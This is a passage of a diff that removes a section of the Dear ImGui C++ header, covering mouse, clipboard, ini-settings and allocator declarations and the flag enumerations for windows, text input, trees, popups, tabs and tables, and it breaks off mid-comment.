IsMouseDown(ImGuiMouseButton button); // is mouse button held? - IMGUI_API bool IsMouseClicked(ImGuiMouseButton button, bool repeat = false); // did mouse button clicked? (went from !Down to Down) - IMGUI_API bool IsMouseReleased(ImGuiMouseButton button); // did mouse button released? (went from Down to !Down) - IMGUI_API bool IsMouseDoubleClicked(ImGuiMouseButton button); // did mouse button double-clicked? (note that a double-click will also report IsMouseClicked() == true) - IMGUI_API bool IsMouseHoveringRect(const ImVec2& r_min, const ImVec2& r_max, bool clip = true);// is mouse hovering given bounding rect (in screen space). clipped by current clipping settings, but disregarding of other consideration of focus/window ordering/popup-block. - IMGUI_API bool IsMousePosValid(const ImVec2* mouse_pos = NULL); // by convention we use (-FLT_MAX,-FLT_MAX) to denote that there is no mouse available - IMGUI_API bool IsAnyMouseDown(); // is any mouse button held? - IMGUI_API ImVec2 GetMousePos(); // shortcut to ImGui::GetIO().MousePos provided by user, to be consistent with other calls - IMGUI_API ImVec2 GetMousePosOnOpeningCurrentPopup(); // retrieve mouse position at the time of opening popup we have BeginPopup() into (helper to avoid user backing that value themselves) - IMGUI_API bool IsMouseDragging(ImGuiMouseButton button, float lock_threshold = -1.0f); // is mouse dragging? (if lock_threshold < -1.0f, uses io.MouseDraggingThreshold) - IMGUI_API ImVec2 GetMouseDragDelta(ImGuiMouseButton button = 0, float lock_threshold = -1.0f); // return the delta from the initial clicking position while the mouse button is pressed or was just released. This is locked and return 0.0f until the mouse moves past a distance threshold at least once (if lock_threshold < -1.0f, uses io.MouseDraggingThreshold) - IMGUI_API void ResetMouseDragDelta(ImGuiMouseButton button = 0); // - IMGUI_API ImGuiMouseCursor GetMouseCursor(); // get desired cursor type, reset in ImGui::NewFrame(), this is updated during the frame. valid before Render(). If you use software rendering by setting io.MouseDrawCursor ImGui will render those for you - IMGUI_API void SetMouseCursor(ImGuiMouseCursor cursor_type); // set desired cursor type - IMGUI_API void CaptureMouseFromApp(bool want_capture_mouse_value = true); // attention: misleading name! manually override io.WantCaptureMouse flag next frame (said flag is entirely left for your application to handle). This is equivalent to setting "io.WantCaptureMouse = want_capture_mouse_value;" after the next NewFrame() call. - - // Clipboard Utilities - // - Also see the LogToClipboard() function to capture GUI into clipboard, or easily output text data to the clipboard. - IMGUI_API const char* GetClipboardText(); - IMGUI_API void SetClipboardText(const char* text); - - // Settings/.Ini Utilities - // - The disk functions are automatically called if io.IniFilename != NULL (default is "imgui.ini"). - // - Set io.IniFilename to NULL to load/save manually. Read io.WantSaveIniSettings description about handling .ini saving manually. - IMGUI_API void LoadIniSettingsFromDisk(const char* ini_filename); // call after CreateContext() and before the first call to NewFrame(). NewFrame() automatically calls LoadIniSettingsFromDisk(io.IniFilename). - IMGUI_API void LoadIniSettingsFromMemory(const char* ini_data, size_t ini_size = 0); // call after CreateContext() and before the first call to NewFrame() to provide .ini data from your own data source. - IMGUI_API void SaveIniSettingsToDisk(const char* ini_filename); // this is automatically called (if io.IniFilename is not empty) a few seconds after any modification that should be reflected in the .ini file (and also by DestroyContext). - IMGUI_API const char* SaveIniSettingsToMemory(size_t* out_ini_size = NULL); // return a zero-terminated string with the .ini data which you can save by your own mean. call when io.WantSaveIniSettings is set, then save data by your own mean and clear io.WantSaveIniSettings. - - // Debug Utilities - IMGUI_API bool DebugCheckVersionAndDataLayout(const char* version_str, size_t sz_io, size_t sz_style, size_t sz_vec2, size_t sz_vec4, size_t sz_drawvert, size_t sz_drawidx); // This is called by IMGUI_CHECKVERSION() macro. - - // Memory Allocators - // - Those functions are not reliant on the current context. - // - DLL users: heaps and globals are not shared across DLL boundaries! You will need to call SetCurrentContext() + SetAllocatorFunctions() - // for each static/DLL boundary you are calling from. Read "Context and Memory Allocators" section of imgui.cpp for more details. - IMGUI_API void SetAllocatorFunctions(ImGuiMemAllocFunc alloc_func, ImGuiMemFreeFunc free_func, void* user_data = NULL); - IMGUI_API void GetAllocatorFunctions(ImGuiMemAllocFunc* p_alloc_func, ImGuiMemFreeFunc* p_free_func, void** p_user_data); - IMGUI_API void* MemAlloc(size_t size); - IMGUI_API void MemFree(void* ptr); - -} // namespace ImGui - -//----------------------------------------------------------------------------- -// [SECTION] Flags & Enumerations -//----------------------------------------------------------------------------- - -// Flags for ImGui::Begin() -enum ImGuiWindowFlags_ -{ - ImGuiWindowFlags_None = 0, - ImGuiWindowFlags_NoTitleBar = 1 << 0, // Disable title-bar - ImGuiWindowFlags_NoResize = 1 << 1, // Disable user resizing with the lower-right grip - ImGuiWindowFlags_NoMove = 1 << 2, // Disable user moving the window - ImGuiWindowFlags_NoScrollbar = 1 << 3, // Disable scrollbars (window can still scroll with mouse or programmatically) - ImGuiWindowFlags_NoScrollWithMouse = 1 << 4, // Disable user vertically scrolling with mouse wheel. On child window, mouse wheel will be forwarded to the parent unless NoScrollbar is also set. - ImGuiWindowFlags_NoCollapse = 1 << 5, // Disable user collapsing window by double-clicking on it - ImGuiWindowFlags_AlwaysAutoResize = 1 << 6, // Resize every window to its content every frame - ImGuiWindowFlags_NoBackground = 1 << 7, // Disable drawing background color (WindowBg, etc.) and outside border. Similar as using SetNextWindowBgAlpha(0.0f). - ImGuiWindowFlags_NoSavedSettings = 1 << 8, // Never load/save settings in .ini file - ImGuiWindowFlags_NoMouseInputs = 1 << 9, // Disable catching mouse, hovering test with pass through. - ImGuiWindowFlags_MenuBar = 1 << 10, // Has a menu-bar - ImGuiWindowFlags_HorizontalScrollbar = 1 << 11, // Allow horizontal scrollbar to appear (off by default). You may use SetNextWindowContentSize(ImVec2(width,0.0f)); prior to calling Begin() to specify width. Read code in imgui_demo in the "Horizontal Scrolling" section. - ImGuiWindowFlags_NoFocusOnAppearing = 1 << 12, // Disable taking focus when transitioning from hidden to visible state - ImGuiWindowFlags_NoBringToFrontOnFocus = 1 << 13, // Disable bringing window to front when taking focus (e.g. clicking on it or programmatically giving it focus) - ImGuiWindowFlags_AlwaysVerticalScrollbar = 1 << 14, // Always show vertical scrollbar (even if ContentSize.y < Size.y) - ImGuiWindowFlags_AlwaysHorizontalScrollbar = 1 << 15, // Always show horizontal scrollbar (even if ContentSize.x < Size.x) - ImGuiWindowFlags_AlwaysUseWindowPadding = 1 << 16, // Ensure child windows without border uses style.WindowPadding (ignored by default for non-bordered child windows, because more convenient) - ImGuiWindowFlags_NoNavInputs = 1 << 18, // No gamepad/keyboard navigation within the window - ImGuiWindowFlags_NoNavFocus = 1 << 19, // No focusing toward this window with gamepad/keyboard navigation (e.g. skipped by CTRL+TAB) - ImGuiWindowFlags_UnsavedDocument = 1 << 20, // Append '*' to title without affecting the ID, as a convenience to avoid using the ### operator. When used in a tab/docking context, tab is selected on closure and closure is deferred by one frame to allow code to cancel the closure (with a confirmation popup, etc.) without flicker. - ImGuiWindowFlags_NoNav = ImGuiWindowFlags_NoNavInputs | ImGuiWindowFlags_NoNavFocus, - ImGuiWindowFlags_NoDecoration = ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoScrollbar | ImGuiWindowFlags_NoCollapse, - ImGuiWindowFlags_NoInputs = ImGuiWindowFlags_NoMouseInputs | ImGuiWindowFlags_NoNavInputs | ImGuiWindowFlags_NoNavFocus, - - // [Internal] - ImGuiWindowFlags_NavFlattened = 1 << 23, // [BETA] Allow gamepad/keyboard navigation to cross over parent border to this child (only use on child that have no scrolling!) - ImGuiWindowFlags_ChildWindow = 1 << 24, // Don't use! For internal use by BeginChild() - ImGuiWindowFlags_Tooltip = 1 << 25, // Don't use! For internal use by BeginTooltip() - ImGuiWindowFlags_Popup = 1 << 26, // Don't use! For internal use by BeginPopup() - ImGuiWindowFlags_Modal = 1 << 27, // Don't use! For internal use by BeginPopupModal() - ImGuiWindowFlags_ChildMenu = 1 << 28 // Don't use! For internal use by BeginMenu() - - // [Obsolete] - //ImGuiWindowFlags_ResizeFromAnySide = 1 << 17, // --> Set io.ConfigWindowsResizeFromEdges=true and make sure mouse cursors are supported by backend (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) -}; - -// Flags for ImGui::InputText() -enum ImGuiInputTextFlags_ -{ - ImGuiInputTextFlags_None = 0, - ImGuiInputTextFlags_CharsDecimal = 1 << 0, // Allow 0123456789.+-*/ - ImGuiInputTextFlags_CharsHexadecimal = 1 << 1, // Allow 0123456789ABCDEFabcdef - ImGuiInputTextFlags_CharsUppercase = 1 << 2, // Turn a..z into A..Z - ImGuiInputTextFlags_CharsNoBlank = 1 << 3, // Filter out spaces, tabs - ImGuiInputTextFlags_AutoSelectAll = 1 << 4, // Select entire text when first taking mouse focus - ImGuiInputTextFlags_EnterReturnsTrue = 1 << 5, // Return 'true' when Enter is pressed (as opposed to every time the value was modified). Consider looking at the IsItemDeactivatedAfterEdit() function. - ImGuiInputTextFlags_CallbackCompletion = 1 << 6, // Callback on pressing TAB (for completion handling) - ImGuiInputTextFlags_CallbackHistory = 1 << 7, // Callback on pressing Up/Down arrows (for history handling) - ImGuiInputTextFlags_CallbackAlways = 1 << 8, // Callback on each iteration. User code may query cursor position, modify text buffer. - ImGuiInputTextFlags_CallbackCharFilter = 1 << 9, // Callback on character inputs to replace or discard them. Modify 'EventChar' to replace or discard, or return 1 in callback to discard. - ImGuiInputTextFlags_AllowTabInput = 1 << 10, // Pressing TAB input a '\t' character into the text field - ImGuiInputTextFlags_CtrlEnterForNewLine = 1 << 11, // In multi-line mode, unfocus with Enter, add new line with Ctrl+Enter (default is opposite: unfocus with Ctrl+Enter, add line with Enter). - ImGuiInputTextFlags_NoHorizontalScroll = 1 << 12, // Disable following the cursor horizontally - ImGuiInputTextFlags_AlwaysOverwrite = 1 << 13, // Overwrite mode - ImGuiInputTextFlags_ReadOnly = 1 << 14, // Read-only mode - ImGuiInputTextFlags_Password = 1 << 15, // Password mode, display all characters as '*' - ImGuiInputTextFlags_NoUndoRedo = 1 << 16, // Disable undo/redo. Note that input text owns the text data while active, if you want to provide your own undo/redo stack you need e.g. to call ClearActiveID(). - ImGuiInputTextFlags_CharsScientific = 1 << 17, // Allow 0123456789.+-*/eE (Scientific notation input) - ImGuiInputTextFlags_CallbackResize = 1 << 18, // Callback on buffer capacity changes request (beyond 'buf_size' parameter value), allowing the string to grow. Notify when the string wants to be resized (for string types which hold a cache of their Size). You will be provided a new BufSize in the callback and NEED to honor it. (see misc/cpp/imgui_stdlib.h for an example of using this) - ImGuiInputTextFlags_CallbackEdit = 1 << 19, // Callback on any edit (note that InputText() already returns true on edit, the callback is useful mainly to manipulate the underlying buffer while focus is active) - // [Internal] - ImGuiInputTextFlags_Multiline = 1 << 20, // For internal use by InputTextMultiline() - ImGuiInputTextFlags_NoMarkEdited = 1 << 21 // For internal use by functions using InputText() before reformatting data - - // Obsolete names (will be removed soon) -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - , ImGuiInputTextFlags_AlwaysInsertMode = ImGuiInputTextFlags_AlwaysOverwrite // [renamed in 1.82] name was not matching behavior -#endif -}; - -// Flags for ImGui::TreeNodeEx(), ImGui::CollapsingHeader*() -enum ImGuiTreeNodeFlags_ -{ - ImGuiTreeNodeFlags_None = 0, - ImGuiTreeNodeFlags_Selected = 1 << 0, // Draw as selected - ImGuiTreeNodeFlags_Framed = 1 << 1, // Draw frame with background (e.g. for CollapsingHeader) - ImGuiTreeNodeFlags_AllowItemOverlap = 1 << 2, // Hit testing to allow subsequent widgets to overlap this one - ImGuiTreeNodeFlags_NoTreePushOnOpen = 1 << 3, // Don't do a TreePush() when open (e.g. for CollapsingHeader) = no extra indent nor pushing on ID stack - ImGuiTreeNodeFlags_NoAutoOpenOnLog = 1 << 4, // Don't automatically and temporarily open node when Logging is active (by default logging will automatically open tree nodes) - ImGuiTreeNodeFlags_DefaultOpen = 1 << 5, // Default node to be open - ImGuiTreeNodeFlags_OpenOnDoubleClick = 1 << 6, // Need double-click to open node - ImGuiTreeNodeFlags_OpenOnArrow = 1 << 7, // Only open when clicking on the arrow part. If ImGuiTreeNodeFlags_OpenOnDoubleClick is also set, single-click arrow or double-click all box to open. - ImGuiTreeNodeFlags_Leaf = 1 << 8, // No collapsing, no arrow (use as a convenience for leaf nodes). - ImGuiTreeNodeFlags_Bullet = 1 << 9, // Display a bullet instead of arrow - ImGuiTreeNodeFlags_FramePadding = 1 << 10, // Use FramePadding (even for an unframed text node) to vertically align text baseline to regular widget height. Equivalent to calling AlignTextToFramePadding(). - ImGuiTreeNodeFlags_SpanAvailWidth = 1 << 11, // Extend hit box to the right-most edge, even if not framed. This is not the default in order to allow adding other items on the same line. In the future we may refactor the hit system to be front-to-back, allowing natural overlaps and then this can become the default. - ImGuiTreeNodeFlags_SpanFullWidth = 1 << 12, // Extend hit box to the left-most and right-most edges (bypass the indented area). - ImGuiTreeNodeFlags_NavLeftJumpsBackHere = 1 << 13, // (WIP) Nav: left direction may move to this TreeNode() from any of its child (items submitted between TreeNode and TreePop) - //ImGuiTreeNodeFlags_NoScrollOnOpen = 1 << 14, // FIXME: TODO: Disable automatic scroll on TreePop() if node got just open and contents is not visible - ImGuiTreeNodeFlags_CollapsingHeader = ImGuiTreeNodeFlags_Framed | ImGuiTreeNodeFlags_NoTreePushOnOpen | ImGuiTreeNodeFlags_NoAutoOpenOnLog -}; - -// Flags for OpenPopup*(), BeginPopupContext*(), IsPopupOpen() functions. -// - To be backward compatible with older API which took an 'int mouse_button = 1' argument, we need to treat -// small flags values as a mouse button index, so we encode the mouse button in the first few bits of the flags. -// It is therefore guaranteed to be legal to pass a mouse button index in ImGuiPopupFlags. -// - For the same reason, we exceptionally default the ImGuiPopupFlags argument of BeginPopupContextXXX functions to 1 instead of 0. -// IMPORTANT: because the default parameter is 1 (==ImGuiPopupFlags_MouseButtonRight), if you rely on the default parameter -// and want to another another flag, you need to pass in the ImGuiPopupFlags_MouseButtonRight flag. -// - Multiple buttons currently cannot be combined/or-ed in those functions (we could allow it later). -enum ImGuiPopupFlags_ -{ - ImGuiPopupFlags_None = 0, - ImGuiPopupFlags_MouseButtonLeft = 0, // For BeginPopupContext*(): open on Left Mouse release. Guaranteed to always be == 0 (same as ImGuiMouseButton_Left) - ImGuiPopupFlags_MouseButtonRight = 1, // For BeginPopupContext*(): open on Right Mouse release. Guaranteed to always be == 1 (same as ImGuiMouseButton_Right) - ImGuiPopupFlags_MouseButtonMiddle = 2, // For BeginPopupContext*(): open on Middle Mouse release. Guaranteed to always be == 2 (same as ImGuiMouseButton_Middle) - ImGuiPopupFlags_MouseButtonMask_ = 0x1F, - ImGuiPopupFlags_MouseButtonDefault_ = 1, - ImGuiPopupFlags_NoOpenOverExistingPopup = 1 << 5, // For OpenPopup*(), BeginPopupContext*(): don't open if there's already a popup at the same level of the popup stack - ImGuiPopupFlags_NoOpenOverItems = 1 << 6, // For BeginPopupContextWindow(): don't return true when hovering items, only when hovering empty space - ImGuiPopupFlags_AnyPopupId = 1 << 7, // For IsPopupOpen(): ignore the ImGuiID parameter and test for any popup. - ImGuiPopupFlags_AnyPopupLevel = 1 << 8, // For IsPopupOpen(): search/test at any level of the popup stack (default test in the current level) - ImGuiPopupFlags_AnyPopup = ImGuiPopupFlags_AnyPopupId | ImGuiPopupFlags_AnyPopupLevel -}; - -// Flags for ImGui::Selectable() -enum ImGuiSelectableFlags_ -{ - ImGuiSelectableFlags_None = 0, - ImGuiSelectableFlags_DontClosePopups = 1 << 0, // Clicking this don't close parent popup window - ImGuiSelectableFlags_SpanAllColumns = 1 << 1, // Selectable frame can span all columns (text will still fit in current column) - ImGuiSelectableFlags_AllowDoubleClick = 1 << 2, // Generate press events on double clicks too - ImGuiSelectableFlags_Disabled = 1 << 3, // Cannot be selected, display grayed out text - ImGuiSelectableFlags_AllowItemOverlap = 1 << 4 // (WIP) Hit testing to allow subsequent widgets to overlap this one -}; - -// Flags for ImGui::BeginCombo() -enum ImGuiComboFlags_ -{ - ImGuiComboFlags_None = 0, - ImGuiComboFlags_PopupAlignLeft = 1 << 0, // Align the popup toward the left by default - ImGuiComboFlags_HeightSmall = 1 << 1, // Max ~4 items visible. Tip: If you want your combo popup to be a specific size you can use SetNextWindowSizeConstraints() prior to calling BeginCombo() - ImGuiComboFlags_HeightRegular = 1 << 2, // Max ~8 items visible (default) - ImGuiComboFlags_HeightLarge = 1 << 3, // Max ~20 items visible - ImGuiComboFlags_HeightLargest = 1 << 4, // As many fitting items as possible - ImGuiComboFlags_NoArrowButton = 1 << 5, // Display on the preview box without the square arrow button - ImGuiComboFlags_NoPreview = 1 << 6, // Display only a square arrow button - ImGuiComboFlags_HeightMask_ = ImGuiComboFlags_HeightSmall | ImGuiComboFlags_HeightRegular | ImGuiComboFlags_HeightLarge | ImGuiComboFlags_HeightLargest -}; - -// Flags for ImGui::BeginTabBar() -enum ImGuiTabBarFlags_ -{ - ImGuiTabBarFlags_None = 0, - ImGuiTabBarFlags_Reorderable = 1 << 0, // Allow manually dragging tabs to re-order them + New tabs are appended at the end of list - ImGuiTabBarFlags_AutoSelectNewTabs = 1 << 1, // Automatically select new tabs when they appear - ImGuiTabBarFlags_TabListPopupButton = 1 << 2, // Disable buttons to open the tab list popup - ImGuiTabBarFlags_NoCloseWithMiddleMouseButton = 1 << 3, // Disable behavior of closing tabs (that are submitted with p_open != NULL) with middle mouse button. You can still repro this behavior on user's side with if (IsItemHovered() && IsMouseClicked(2)) *p_open = false. - ImGuiTabBarFlags_NoTabListScrollingButtons = 1 << 4, // Disable scrolling buttons (apply when fitting policy is ImGuiTabBarFlags_FittingPolicyScroll) - ImGuiTabBarFlags_NoTooltip = 1 << 5, // Disable tooltips when hovering a tab - ImGuiTabBarFlags_FittingPolicyResizeDown = 1 << 6, // Resize tabs when they don't fit - ImGuiTabBarFlags_FittingPolicyScroll = 1 << 7, // Add scroll buttons when tabs don't fit - ImGuiTabBarFlags_FittingPolicyMask_ = ImGuiTabBarFlags_FittingPolicyResizeDown | ImGuiTabBarFlags_FittingPolicyScroll, - ImGuiTabBarFlags_FittingPolicyDefault_ = ImGuiTabBarFlags_FittingPolicyResizeDown -}; - -// Flags for ImGui::BeginTabItem() -enum ImGuiTabItemFlags_ -{ - ImGuiTabItemFlags_None = 0, - ImGuiTabItemFlags_UnsavedDocument = 1 << 0, // Append '*' to title without affecting the ID, as a convenience to avoid using the ### operator. Also: tab is selected on closure and closure is deferred by one frame to allow code to undo it without flicker. - ImGuiTabItemFlags_SetSelected = 1 << 1, // Trigger flag to programmatically make the tab selected when calling BeginTabItem() - ImGuiTabItemFlags_NoCloseWithMiddleMouseButton = 1 << 2, // Disable behavior of closing tabs (that are submitted with p_open != NULL) with middle mouse button. You can still repro this behavior on user's side with if (IsItemHovered() && IsMouseClicked(2)) *p_open = false. - ImGuiTabItemFlags_NoPushId = 1 << 3, // Don't call PushID(tab->ID)/PopID() on BeginTabItem()/EndTabItem() - ImGuiTabItemFlags_NoTooltip = 1 << 4, // Disable tooltip for the given tab - ImGuiTabItemFlags_NoReorder = 1 << 5, // Disable reordering this tab or having another tab cross over this tab - ImGuiTabItemFlags_Leading = 1 << 6, // Enforce the tab position to the left of the tab bar (after the tab list popup button) - ImGuiTabItemFlags_Trailing = 1 << 7 // Enforce the tab position to the right of the tab bar (before the scrolling buttons) -}; - -// Flags for ImGui::BeginTable() -// [BETA API] API may evolve slightly! If you use this, please update to the next version when it comes out! -// - Important! Sizing policies have complex and subtle side effects, more so than you would expect. -// Read comments/demos carefully + experiment with live demos to get acquainted with them. -// - The DEFAULT sizing policies are: -// - Default to ImGuiTableFlags_SizingFixedFit if ScrollX is on, or if host window has ImGuiWindowFlags_AlwaysAutoResize. -// - Default to ImGuiTableFlags_SizingStretchSame if ScrollX is off. -// - When ScrollX is off: -// - Table defaults to ImGuiTableFlags_SizingStretchSame -> all Columns defaults to ImGuiTableColumnFlags_WidthStretch with same weight. -// - Columns sizing policy allowed: Stretch (default), Fixed/Auto. -// - Fixed Columns will generally obtain their requested width (unless the table cannot fit them all). -// - Stretch Columns will share the remaining width. -// - Mixed Fixed/Stretch columns is possible but has various side-effects on resizing behaviors. -// The typical use of mixing sizing policies is: any number of LEADING Fixed columns, followed by one or two TRAILING Stretch columns. -// (this is because the visible order of columns have subtle but necessary effects on how they react to manual resizing). -// - When ScrollX is on: -// - Table defaults to ImGuiTableFlags_SizingFixedFit -> all Columns defaults to ImGuiTableColumnFlags_WidthFixed -// - Columns sizing policy allowed: Fixed/Auto mostly. -// - Fixed Columns can be enlarged as needed. Table will show an horizontal scrollbar if needed. -// - When using auto-resizing (non-resizable) fixed columns, querying the content width to use item right-alignment e.g. SetNextItemWidth(-FLT_MIN) doesn't make sense, would create a feedback loop. -// - Using Stretch columns OFTEN DOES NOT MAKE SENSE if ScrollX is on, UNLESS you have specified a value for 'inner_width' in BeginTable(). -// If you specify a value for 'inner_width' then effectively the scrolling space is known and Stretch or mixed Fixed/Stretch columns become meaningful again. -// - Read on documentation at the top of imgui_tables.cpp for details. -enum ImGuiTableFlags_ -{ - // Features - ImGuiTableFlags_None = 0, - ImGuiTableFlags_Resizable = 1 << 0, // Enable resizing columns. - ImGuiTableFlags_Reorderable = 1 << 1, // Enable reordering columns in header row (need calling TableSetupColumn() + TableHeadersRow() to display headers) - ImGuiTableFlags_Hideable = 1 << 2, // Enable hiding/disabling columns in context menu. - ImGuiTableFlags_Sortable = 1 << 3, // Enable sorting. Call TableGetSortSpecs() to obtain sort specs. Also see ImGuiTableFlags_SortMulti and ImGuiTableFlags_SortTristate. - ImGuiTableFlags_NoSavedSettings = 1 << 4, // Disable persisting columns order, width and sort settings in the .ini file. - ImGuiTableFlags_ContextMenuInBody = 1 << 5, // Right-click on columns body/contents will display table context menu. By default it is available in TableHeadersRow(). - // Decorations - ImGuiTableFlags_RowBg = 1 << 6, // Set each RowBg color with ImGuiCol_TableRowBg or ImGuiCol_TableRowBgAlt (equivalent of calling TableSetBgColor with ImGuiTableBgFlags_RowBg0 on each row manually) - ImGuiTableFlags_BordersInnerH = 1 << 7, // Draw horizontal borders between rows. - ImGuiTableFlags_BordersOuterH = 1 << 8, // Draw horizontal borders at the top and bottom. - ImGuiTableFlags_BordersInnerV = 1 << 9, // Draw vertical borders between columns. - ImGuiTableFlags_BordersOuterV = 1 << 10, // Draw vertical borders on the left and right sides. - ImGuiTableFlags_BordersH = ImGuiTableFlags_BordersInnerH | ImGuiTableFlags_BordersOuterH, // Draw horizontal borders. - ImGuiTableFlags_BordersV = ImGuiTableFlags_BordersInnerV | ImGuiTableFlags_BordersOuterV, // Draw vertical borders. - ImGuiTableFlags_BordersInner = ImGuiTableFlags_BordersInnerV | ImGuiTableFlags_BordersInnerH, // Draw inner borders. - ImGuiTableFlags_BordersOuter = ImGuiTableFlags_BordersOuterV | ImGuiTableFlags_BordersOuterH, // Draw outer borders. - ImGuiTableFlags_Borders = ImGuiTableFlags_BordersInner | ImGuiTableFlags_BordersOuter, // Draw all borders. - ImGuiTableFlags_NoBordersInBody = 1 << 11, // [ALPHA] Disable vertical borders in columns Body (borders will always appears in Headers). -> May move to style - ImGuiTableFlags_NoBordersInBodyUntilResize = 1 << 12, // [ALPHA] Disable vertical borders in columns Body until hovered for resize (borders will always appears in Headers). -> May move to style - // Sizing Policy (read above for defaults) - ImGuiTableFlags_SizingFixedFit = 1 << 13, // Columns default to _WidthFixed or _WidthAuto (if resizable or not resizable), matching contents width. - ImGuiTableFlags_SizingFixedSame = 2 << 13, // Columns default to _WidthFixed or _WidthAuto (if resizable or not resizable), matching the maximum contents width of all columns. Implicitly enable ImGuiTableFlags_NoKeepColumnsVisible. - ImGuiTableFlags_SizingStretchProp = 3 << 13, // Columns default to _WidthStretch with default weights proportional to each columns contents widths. - ImGuiTableFlags_SizingStretchSame = 4 << 13, // Columns default to _WidthStretch with default weights all equal, unless overridden by TableSetupColumn(). - // Sizing Extra Options - ImGuiTableFlags_NoHostExtendX = 1 << 16, // Make outer width auto-fit to columns, overriding outer_size.x value. Only available when ScrollX/ScrollY are disabled and Stretch columns are not used. - ImGuiTableFlags_NoHostExtendY = 1 << 17, // Make outer height stop exactly at outer_size.y (prevent auto-extending table past the limit). Only available when ScrollX/ScrollY are disabled. Data below the limit will be clipped and not visible. - ImGuiTableFlags_NoKeepColumnsVisible = 1 << 18, // Disable keeping column always minimally visible when ScrollX is off and table gets too small. Not recommended if columns are resizable. - ImGuiTableFlags_PreciseWidths = 1 << 19, // Disable distributing remainder width to stretched columns (width allocation on a 100-wide table with 3 columns: Without this flag: 33,33,34. With this flag: 33,33,33). With larger number of columns, resizing will appear to be less smooth. - // Clipping - ImGuiTableFlags_NoClip = 1 << 20, // Disable clipping rectangle for every individual columns (reduce draw command count, items will be able to overflow into other columns). Generally incompatible with TableSetupScrollFreeze(). - // Padding - ImGuiTableFlags_PadOuterX = 1 << 21, // Default if BordersOuterV is on. Enable outer-most padding. Generally desirable if you have headers. - ImGuiTableFlags_NoPadOuterX = 1 << 22, // Default if BordersOuterV is off. Disable outer-most padding. - ImGuiTableFlags_NoPadInnerX = 1 << 23, // Disable inner padding between columns (double inner padding if BordersOuterV is on, single inner padding if BordersOuterV is off). - // Scrolling - ImGuiTableFlags_ScrollX = 1 << 24, // Enable horizontal scrolling. Require 'outer_size' parameter of BeginTable() to specify the container size. Changes default sizing policy. Because this create a child window, ScrollY is currently generally recommended when using ScrollX. - ImGuiTableFlags_ScrollY = 1 << 25, // Enable vertical scrolling. Require 'outer_size' parameter of BeginTable() to specify the container size. - // Sorting - ImGuiTableFlags_SortMulti = 1 << 26, // Hold shift when clicking headers to sort on multiple column. TableGetSortSpecs() may return specs where (SpecsCount > 1). - ImGuiTableFlags_SortTristate = 1 << 27, // Allow no sorting, disable default sorting. TableGetSortSpecs() may return specs where (SpecsCount == 0). - - // [Internal] Combinations and masks - ImGuiTableFlags_SizingMask_ = ImGuiTableFlags_SizingFixedFit | ImGuiTableFlags_SizingFixedSame | ImGuiTableFlags_SizingStretchProp | ImGuiTableFlags_SizingStretchSame - - // Obsolete names (will be removed soon) -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - //, ImGuiTableFlags_ColumnsWidthFixed = ImGuiTableFlags_SizingFixedFit, ImGuiTableFlags_ColumnsWidthStretch = ImGuiTableFlags_SizingStretchSame // WIP Tables 2020/12 - //, ImGuiTableFlags_SizingPolicyFixed = ImGuiTableFlags_SizingFixedFit, ImGuiTableFlags_SizingPolicyStretch = ImGuiTableFlags_SizingStretchSame // WIP Tables 2021/01 -#endif -}; - -// Flags for ImGui::TableSetupColumn() -enum ImGuiTableColumnFlags_ -{ - // Input configuration flags - ImGuiTableColumnFlags_None = 0, - ImGuiTableColumnFlags_DefaultHide = 1 << 0, // Default as a hidden/disabled column. - ImGuiTableColumnFlags_DefaultSort = 1 << 1, // Default as a sorting column. - ImGuiTableColumnFlags_WidthStretch = 1 << 2, // Column will stretch. Preferable with horizontal scrolling disabled (default if table sizing policy is _SizingStretchSame or _SizingStretchProp). - ImGuiTableColumnFlags_WidthFixed = 1 << 3, // Column will not stretch. Preferable with horizontal scrolling enabled (default if table sizing policy is _SizingFixedFit and table is resizable). - ImGuiTableColumnFlags_NoResize = 1 << 4, // Disable manual resizing. - ImGuiTableColumnFlags_NoReorder = 1 << 5, // Disable manual reordering this column, this will also prevent other columns from crossing over this column. - ImGuiTableColumnFlags_NoHide = 1 << 6, // Disable ability to hide/disable this column. - ImGuiTableColumnFlags_NoClip = 1 << 7, // Disable clipping for this column (all NoClip columns will render in a same draw command). - ImGuiTableColumnFlags_NoSort = 1 << 8, // Disable ability to sort on this field (even if ImGuiTableFlags_Sortable is set on the table). - ImGuiTableColumnFlags_NoSortAscending = 1 << 9, // Disable ability to sort in the ascending direction. - ImGuiTableColumnFlags_NoSortDescending = 1 << 10, // Disable ability to sort in the descending direction. - ImGuiTableColumnFlags_NoHeaderWidth = 1 << 11, // Disable header text width contribution to automatic column width. - ImGuiTableColumnFlags_PreferSortAscending = 1 << 12, // Make the initial sort direction Ascending when first sorting on this column (default). - ImGuiTableColumnFlags_PreferSortDescending = 1 << 13, // Make the initial sort direction Descending when first sorting on this column. - ImGuiTableColumnFlags_IndentEnable = 1 << 14, // Use current Indent value when entering cell (default for column 0). - ImGuiTableColumnFlags_IndentDisable = 1 << 15, // Ignore current Indent value when entering cell (default for columns > 0). Indentation changes _within_ the cell will still be honored. - - // Output status flags, read-only via TableGetColumnFlags() - ImGuiTableColumnFlags_IsEnabled = 1 << 20, // Status: is enabled == not hidden by user/api (referred to as "Hide" in _DefaultHide and _NoHide) flags. - ImGuiTableColumnFlags_IsVisible = 1 << 21, // Status: is visible == is enabled AND not clipped by scrolling. - ImGuiTableColumnFlags_IsSorted = 1 << 22, // Status: is currently part of the sort specs - ImGuiTableColumnFlags_IsHovered = 1 << 23, // Status: is hovered by mouse - - // [Internal] Combinations and masks - ImGuiTableColumnFlags_WidthMask_ = ImGuiTableColumnFlags_WidthStretch | ImGuiTableColumnFlags_WidthFixed, - ImGuiTableColumnFlags_IndentMask_ = ImGuiTableColumnFlags_IndentEnable | ImGuiTableColumnFlags_IndentDisable, - ImGuiTableColumnFlags_StatusMask_ = ImGuiTableColumnFlags_IsEnabled | ImGuiTableColumnFlags_IsVisible | ImGuiTableColumnFlags_IsSorted | ImGuiTableColumnFlags_IsHovered, - ImGuiTableColumnFlags_NoDirectResize_ = 1 << 30 // [Internal] Disable user resizing this column directly (it may however we resized indirectly from its left edge) - - // Obsolete names (will be removed soon) -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - //ImGuiTableColumnFlags_WidthAuto = ImGuiTableColumnFlags_WidthFixed | ImGuiTableColumnFlags_NoResize, // Column will not stretch and keep resizing based on submitted contents. -#endif -}; - -// Flags for 